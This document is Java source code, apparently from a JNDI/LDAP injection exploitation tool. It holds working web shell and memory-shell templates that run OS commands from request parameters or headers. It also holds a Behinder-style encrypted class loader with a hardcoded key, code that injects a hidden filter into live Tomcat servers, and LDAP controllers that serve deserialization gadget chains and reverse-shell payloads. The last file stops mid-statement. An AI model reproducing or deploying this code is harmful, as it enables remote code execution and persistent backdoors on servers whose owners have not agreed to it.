37 | returnBytes = Cache.get(classNameSuf); 38 | } 39 | 40 | else { 41 | String resoucePath = className.replaceAll("\\.", "/") + ".class"; 42 | InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); 43 | byte[] bytes = new byte[1024]; 44 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 45 | int len = 0; 46 | while((len = in.read(bytes)) != -1){ 47 | baous.write(bytes, 0 , len); 48 | } 49 | 50 | in.close(); 51 | baous.close(); 52 | returnBytes = baous.toByteArray(); 53 | } 54 | 55 | return returnBytes; 56 | } 57 | 58 | public static String base64Encode(byte[] bytes) throws Exception{ 59 | String result; 60 | 61 | try{ 62 | Class clazz = Class.forName("java.util.Base64"); 63 | Method method = clazz.getDeclaredMethod("getEncoder"); 64 | Object obj = method.invoke(null); 65 | method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); 66 | obj = method.invoke(obj, bytes); 67 | result = (String)obj; 68 | }catch(ClassNotFoundException e){ 69 | Class clazz = Class.forName("sun.misc.BASE64Encoder"); 70 | Method method = clazz.getMethod("encodeBuffer", byte[].class); 71 | Object obj = method.invoke(clazz.newInstance(), bytes); 72 | result = (String)obj; 73 | result = result.replaceAll("\r|\n|\r\n", ""); 74 | } 75 | 76 | return result; 77 | } 78 | 79 | public static byte[] base64Decode(String str) throws Exception{ 80 | byte[] bytes; 81 | 82 | try{ 83 | Class clazz = Class.forName("java.util.Base64"); 84 | Method method = clazz.getDeclaredMethod("getDecoder"); 85 | Object obj = method.invoke(null); 86 | method = obj.getClass().getDeclaredMethod("decode", String.class); 87 | obj = method.invoke(obj, str); 88 | bytes = (byte[]) obj; 89 | }catch(ClassNotFoundException e){ 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | Method method = clazz.getMethod("decodeBuffer", String.class); 92 | Object obj = method.invoke(clazz.newInstance(), str); 93 | bytes = (byte[]) obj; 94 | } 95 | 96 | return bytes; 97 | } 98 | 99 | public static byte[] serialize(Object ref) throws IOException { 100 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 101 | ObjectOutputStream objOut = new ObjectOutputStream(out); 102 | objOut.writeObject(ref); 103 | return out.toByteArray(); 104 | } 105 | 106 | public static String getCmdFromBase(String base) throws Exception { 107 | int firstIndex = base.lastIndexOf("/"); 108 | String cmd = base.substring(firstIndex + 1); 109 | 110 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 111 | if(secondIndex < 0){ 112 | secondIndex = 0; 113 | } 114 | 115 | if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ 116 | byte[] bytes = Util.base64Decode(cmd); 117 | cmd = new String(bytes); 118 | } 119 | 120 | return cmd; 121 | } 122 | 123 | public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ 124 | int firstIndex = base.lastIndexOf("/"); 125 | String port = base.substring(firstIndex + 1); 126 | 127 | int secondIndex = base.lastIndexOf("/", firstIndex - 1); 128 | if(secondIndex < 0){ 129 | secondIndex = 0; 130 | } 131 | 132 | String ip = base.substring(secondIndex + 1, firstIndex); 133 | return new String[]{ip, Integer.parseInt(port) + ""}; 134 | } 135 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicInterceptorTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; 5 | import sun.misc.BASE64Decoder; 6 | import javax.crypto.Cipher; 7 | import javax.crypto.spec.SecretKeySpec; 8 | import javax.servlet.ServletRequest; 9 | import javax.servlet.ServletResponse; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.File; 13 | import java.io.IOException; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Method; 16 | import java.util.Scanner; 17 | 18 | @Controller 19 | public class DynamicInterceptorTemplate extends HandlerInterceptorAdapter { 20 | 21 | private Class myClassLoaderClazz; 22 | private String basicCmdShellPwd = "pass"; 23 | private String behinderShellHeader = "X-Options-Ai"; 24 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 25 | 26 | public DynamicInterceptorTemplate() { 27 | initialize(); 28 | } 29 | 30 | @Override 31 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 32 | System.out.println("[+] Dynamic Interceptor says hello"); 33 | 34 | if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ 35 | //basic cmd shell 36 | String cmd = request.getParameter(basicCmdShellPwd); 37 | if(cmd != null && !cmd.isEmpty()){ 38 | String[] cmds = null; 39 | if(File.separator.equals("/")){ 40 | cmds = new String[]{"/bin/sh", "-c", cmd}; 41 | }else{ 42 | cmds = new String[]{"cmd", "/C", cmd}; 43 | } 44 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 45 | response.getWriter().println(result); 46 | 47 | return false; 48 | } 49 | }else if(request.getHeader(behinderShellHeader) != null){ 50 | //behind3 shell 51 | try{ 52 | if (request.getMethod().equals("POST")){ 53 | String k = behinderShellPwd; 54 | request.getSession().setAttribute("u",k); 55 | Cipher cipher = Cipher.getInstance("AES"); 56 | cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); 57 | byte[] evilClassBytes = cipher.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine())); 58 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 59 | Object evilObject = evilClass.newInstance(); 60 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 61 | targetMethod.invoke(evilObject, new Object[]{request, response}); 62 | } 63 | }catch(Exception e){ 64 | e.printStackTrace(); 65 | } 66 | 67 | return false; 68 | } 69 | 70 | return true; 71 | } 72 | 73 | private void initialize(){ 74 | try{ 75 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 76 | try{ 77 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 78 | } catch (ClassNotFoundException e) { 79 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 80 | byte[] bytes = new BASE64Decoder().decodeBuffer(code); 81 | 82 | Method method = null; 83 | try { 84 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 85 | method.setAccessible(true); 86 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 87 | } catch (NoSuchMethodException ex) { 88 | ex.printStackTrace(); 89 | } 90 | } 91 | } catch (IllegalAccessException e) { 92 | e.printStackTrace(); 93 | } catch (IOException e) { 94 | e.printStackTrace(); 95 | } catch (InvocationTargetException e) { 96 | e.printStackTrace(); 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import sun.misc.BASE64Decoder; 4 | import javax.crypto.Cipher; 5 | import javax.crypto.spec.SecretKeySpec; 6 | import javax.servlet.*; 7 | import javax.servlet.http.HttpServletRequest; 8 | import java.io.File; 9 | import java.io.IOException; 10 | import java.lang.reflect.InvocationTargetException; 11 | import java.lang.reflect.Method; 12 | import java.util.Scanner; 13 | 14 | public class DynamicFilterTemplate implements Filter { 15 | 16 | private Class myClassLoaderClazz; 17 | private String basicCmdShellPwd = "pass"; 18 | private String behinderShellHeader = "X-Options-Ai"; 19 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 20 | 21 | public DynamicFilterTemplate() { 22 | super(); 23 | initialize(); 24 | } 25 | 26 | @Override 27 | public void init(FilterConfig filterConfig) throws ServletException { 28 | 29 | } 30 | 31 | @Override 32 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 33 | System.out.println("[+] Dynamic Filter says hello"); 34 | 35 | if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ 36 | //basic cmd shell 37 | String cmd = servletRequest.getParameter(basicCmdShellPwd); 38 | if(cmd != null && !cmd.isEmpty()){ 39 | String[] cmds = null; 40 | if(File.separator.equals("/")){ 41 | cmds = new String[]{"/bin/sh", "-c", cmd}; 42 | }else{ 43 | cmds = new String[]{"cmd", "/C", cmd}; 44 | } 45 | String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); 46 | servletResponse.getWriter().println(result); 47 | } 48 | }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){ 49 | //behind3 shell 50 | try{ 51 | if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ 52 | String k = behinderShellPwd; 53 | ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); 54 | Cipher cipher = Cipher.getInstance("AES"); 55 | cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); 56 | byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); 57 | Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); 58 | Object evilObject = evilClass.newInstance(); 59 | Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); 60 | targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); 61 | } 62 | }catch(Exception e){ 63 | e.printStackTrace(); 64 | } 65 | }else{ 66 | filterChain.doFilter(servletRequest, servletResponse); 67 | } 68 | } 69 | 70 | @Override 71 | public void destroy() { 72 | 73 | } 74 | 75 | private void initialize() { 76 | try{ 77 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); 78 | try{ 79 | this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); 80 | } catch (ClassNotFoundException e) { 81 | String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; 82 | byte[] bytes = new BASE64Decoder().decodeBuffer(code); 83 | Method method = null; 84 | try { 85 | method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 86 | method.setAccessible(true); 87 | this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 88 | } catch (NoSuchMethodException ex) { 89 | ex.printStackTrace(); 90 | } 91 | } 92 | } catch (IllegalAccessException e) { 93 | e.printStackTrace(); 94 | } catch (IOException e) { 95 | e.printStackTrace(); 96 | } catch (InvocationTargetException e) { 97 | e.printStackTrace(); 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/SerializedDataController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.GadgetType; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.exceptions.IncorrectParamsException; 6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 8 | import com.feihong.ldap.utils.*; 9 | import com.feihong.ldap.gadgets.*; 10 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 11 | import com.unboundid.ldap.sdk.Entry; 12 | import com.unboundid.ldap.sdk.LDAPResult; 13 | import com.unboundid.ldap.sdk.ResultCode; 14 | 15 | @LdapMapping(uri = { "/deserialization" }) 16 | public class SerializedDataController implements LdapController { 17 | private GadgetType gadgetType; 18 | private PayloadType payloadType; 19 | private String[] params; 20 | 21 | @Override 22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 23 | System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute"); 24 | 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | byte[] bytes = null; 28 | switch (gadgetType){ 29 | case urldns: 30 | bytes = URLDNS.getBytes(params[0]); 31 | break; 32 | case commonsbeanutils1: 33 | bytes = CommonsBeanutils1.getBytes(payloadType, params); 34 | break; 35 | case commonsbeanutils2: 36 | bytes = CommonsBeanutils2.getBytes(payloadType, params); 37 | break; 38 | case commonscollectionsk1: 39 | bytes = CommonsCollectionsK1.getBytes(payloadType, params); 40 | break; 41 | case commonscollectionsk2: 42 | bytes = CommonsCollectionsK2.getBytes(payloadType, params); 43 | break; 44 | case jdk7u21: 45 | bytes = Jdk7u21.getBytes(payloadType, params); 46 | break; 47 | case jre8u20: 48 | bytes = Jre8u20.getBytes(payloadType, params); 49 | break; 50 | case c3p0: 51 | bytes = C3P0.getBytes(payloadType, params); 52 | break; 53 | case cve_2020_2555: 54 | bytes = CVE_2020_2555.getBytes(payloadType, params); 55 | break; 56 | case cve_2020_2883: 57 | bytes = CVE_2020_2883.getBytes(payloadType, params); 58 | break; 59 | } 60 | 61 | e.addAttribute("javaClassName", "foo"); 62 | e.addAttribute("javaSerializedData",bytes); 63 | result.sendSearchEntry(e); 64 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 65 | } 66 | 67 | @Override 68 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { 69 | try{ 70 | int firstIndex = base.indexOf("/"); 71 | int secondIndex = base.indexOf("/", firstIndex + 1); 72 | try{ 73 | gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 74 | System.out.println("[+] GaddgetType: " + gadgetType); 75 | }catch(IllegalArgumentException e){ 76 | throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex)); 77 | } 78 | 79 | if(gadgetType == GadgetType.urldns){ 80 | String url = "http://" + base.substring(base.lastIndexOf("/") + 1); 81 | System.out.println("[+] URL: " + url); 82 | params = new String[]{url}; 83 | return; 84 | } 85 | 86 | int thirdIndex = base.indexOf("/", secondIndex + 1); 87 | if(thirdIndex < 0) thirdIndex = base.length(); 88 | try{ 89 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); 90 | System.out.println("[+] PayloadType: " + payloadType); 91 | }catch (IllegalArgumentException e){ 92 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); 93 | } 94 | 95 | switch(payloadType){ 96 | case dnslog: 97 | String url = base.substring(base.lastIndexOf("/") + 1); 98 | System.out.println("[+] URL: " + url); 99 | params = new String[]{url}; 100 | break; 101 | case command: 102 | String cmd = Util.getCmdFromBase(base); 103 | System.out.println("[+] Command: " + cmd); 104 | params = new String[]{cmd}; 105 | break; 106 | case reverseshell: 107 | String[] results = Util.getIPAndPortFromBase(base); 108 | System.out.println("[+] IP: " + results[0]); 109 | System.out.println("[+] Port: " + results[1]); 110 | params = results; 111 | break; 112 | } 113 | 114 | }catch(Exception e){ 115 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 116 | if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e; 117 | 118 | throw new IncorrectParamsException("Incorrect params: " + base); 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.apache.catalina.Context; 9 | import org.apache.catalina.core.ApplicationFilterConfig; 10 | import org.apache.catalina.core.StandardContext; 11 | import org.apache.catalina.loader.WebappClassLoaderBase; 12 | import org.apache.catalina.webresources.StandardRoot; 13 | import sun.misc.BASE64Decoder; 14 | import javax.servlet.DispatcherType; 15 | import javax.servlet.Filter; 16 | import java.lang.reflect.Constructor; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Method; 19 | import java.util.HashMap; 20 | 21 | public class TomcatMemshellTemplate1 extends AbstractTranslet { 22 | public String DynamicFilterTemplateB64Code; 23 | 24 | //参考 25 | //https://mp.weixin.qq.com/s/nPAje2-cqdeSzNj4kD2Zgw 26 | //https://zhuanlan.zhihu.com/p/114625962 27 | 28 | public TomcatMemshellTemplate1(){ 29 | try{ 30 | String filterName = "TomcatDynamicFilter-1"; 31 | String urlPattern = "/*"; 32 | 33 | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 34 | StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); 35 | StandardContext standardContext = (StandardContext) standardroot.getContext(); 36 | 37 | Field field = standardContext.getClass().getDeclaredField("filterConfigs"); 38 | field.setAccessible(true); 39 | HashMap map = (HashMap) field.get(standardContext); 40 | 41 | if(map.get(filterName) == null) { 42 | System.out.println("[+] Add Dynamic Filter"); 43 | 44 | //生成 FilterDef 45 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 46 | Class filterDefClass = null; 47 | try { 48 | filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); 49 | } catch (ClassNotFoundException e) { 50 | filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); 51 | } 52 | 53 | Object filterDef = filterDefClass.newInstance(); 54 | filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName); 55 | 56 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 57 | Class clazz = null; 58 | try{ 59 | BASE64Decoder base64Decoder = new BASE64Decoder(); 60 | byte[] bytes = base64Decoder.decodeBuffer(DynamicFilterTemplateB64Code); 61 | 62 | Method method0 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 63 | method0.setAccessible(true); 64 | clazz = (Class) method0.invoke(cl, bytes, 0, bytes.length); 65 | 66 | }catch (Exception ex){ 67 | ex.printStackTrace(); 68 | } 69 | 70 | filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName()); 71 | filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance()); 72 | standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); 73 | 74 | //设置 FilterMap 75 | //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 76 | Class filterMapClass = null; 77 | try { 78 | filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); 79 | } catch (ClassNotFoundException e) { 80 | filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); 81 | } 82 | 83 | //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了 84 | //其他中间件应该也是类似的 85 | Object filterMap = filterMapClass.newInstance(); 86 | filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName); 87 | filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name()); 88 | filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern); 89 | standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); 90 | 91 | //设置 FilterConfig 92 | Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); 93 | constructor.setAccessible(true); 94 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); 95 | map.put(filterName, filterConfig); 96 | } 97 | }catch(Exception e){ 98 | //pass 99 | } 100 | } 101 | 102 | @Override 103 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 104 | 105 | } 106 | 107 | @Override 108 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 109 | 110 | } 111 | 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import java.lang.reflect.Field; 9 | import java.util.List; 10 | import java.util.Scanner; 11 | 12 | public class TomcatEchoTemplate extends AbstractTranslet { 13 | public String basicCmdShellPwd; 14 | 15 | public TomcatEchoTemplate(){ 16 | try{ 17 | boolean var4 = false; 18 | Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); 19 | 20 | for(int var6 = 0; var6 < var5.length; ++var6) { 21 | Thread var7 = var5[var6]; 22 | if (var7 != null) { 23 | String var3 = var7.getName(); 24 | if (!var3.contains("exec") && var3.contains("http")) { 25 | Object var1 = getFV(var7, "target"); 26 | if (var1 instanceof Runnable) { 27 | try { 28 | var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global"); 29 | } catch (Exception var13) { 30 | continue; 31 | } 32 | 33 | List var9 = (List)getFV(var1, "processors"); 34 | 35 | for(int var10 = 0; var10 < var9.size(); ++var10) { 36 | Object var11 = var9.get(var10); 37 | var1 = getFV(var11, "req"); 38 | Object var2 = var1.getClass().getMethod("getResponse").invoke(var1); 39 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho"); 40 | if (var3 != null && !var3.isEmpty()) { 41 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 42 | var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3); 43 | var4 = true; 44 | } 45 | 46 | var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, basicCmdShellPwd); 47 | // tomcat的request不支持 48 | //if (var3 == null ){ 49 | // var3 = (String)var1.getClass().getMethod("getParameter", String.class).invoke(var1, basicCmdShellPwd); 50 | //} 51 | if (var3 != null && !var3.isEmpty()) { 52 | var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200)); 53 | String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3}; 54 | writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes()); 55 | var4 = true; 56 | } 57 | 58 | if ((var3 == null || var3.isEmpty()) && var4) { 59 | writeBody(var2, System.getProperties().toString().getBytes()); 60 | } 61 | 62 | if (var4) { 63 | break; 64 | } 65 | } 66 | 67 | if (var4) { 68 | break; 69 | } 70 | } 71 | } 72 | } 73 | } 74 | }catch (Exception e){ 75 | e.printStackTrace(); 76 | } 77 | } 78 | 79 | private static void writeBody(Object var0, byte[] var1) throws Exception { 80 | Object var2; 81 | Class var3; 82 | try { 83 | var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); 84 | var2 = var3.newInstance(); 85 | var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length)); 86 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 87 | } catch (NoSuchMethodException var5) { 88 | var3 = Class.forName("java.nio.ByteBuffer"); 89 | var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1); 90 | var0.getClass().getMethod("doWrite", var3).invoke(var0, var2); 91 | } 92 | 93 | } 94 | 95 | private static Object getFV(Object var0, String var1) throws Exception { 96 | Field var2 = null; 97 | Class var3 = var0.getClass(); 98 | 99 | while(var3 != Object.class) { 100 | try { 101 | var2 = var3.getDeclaredField(var1); 102 | break; 103 | } catch (NoSuchFieldException var5) { 104 | var3 = var3.getSuperclass(); 105 | } 106 | } 107 | 108 | if (var2 == null) { 109 | throw new NoSuchFieldException(var1); 110 | } else { 111 | var2.setAccessible(true); 112 | return var2.get(var0); 113 | } 114 | } 115 | 116 | @Override 117 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 118 | 119 | } 120 | 121 | @Override 122 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 123 | 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/BasicController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.*; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | 13 | import java.net.URL; 14 | 15 | @LdapMapping(uri = { "/basic" }) 16 | public class BasicController implements LdapController { 17 | //最后的反斜杠不能少 18 | private String codebase = Config.codeBase; 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload"); 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | String className = ""; 28 | 29 | switch (type){ 30 | case dnslog: 31 | DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]); 32 | dnslogTemplate.cache(); 33 | className = dnslogTemplate.getClassName(); 34 | break; 35 | case command: 36 | CommandTemplate commandTemplate = new CommandTemplate(params[0]); 37 | commandTemplate.cache(); 38 | className = commandTemplate.getClassName(); 39 | break; 40 | case reverseshell: 41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]); 42 | reverseShellTemplate.cache(); 43 | className = reverseShellTemplate.getClassName(); 44 | break; 45 | case tomcatecho: 46 | className = TomcatEchoTemplate.class.getName(); 47 | break; 48 | case springecho: 49 | className = SpringEchoTemplate.class.getName(); 50 | break; 51 | case weblogicecho: 52 | className = WeblogicEchoTemplate.class.getName(); 53 | break; 54 | case tomcatmemshell1: 55 | className = TomcatMemshellTemplate1.class.getName(); 56 | break; 57 | case tomcatmemshell2: 58 | className = TomcatMemshellTemplate2.class.getName(); 59 | break; 60 | case tomcatmemshell3: 61 | className = 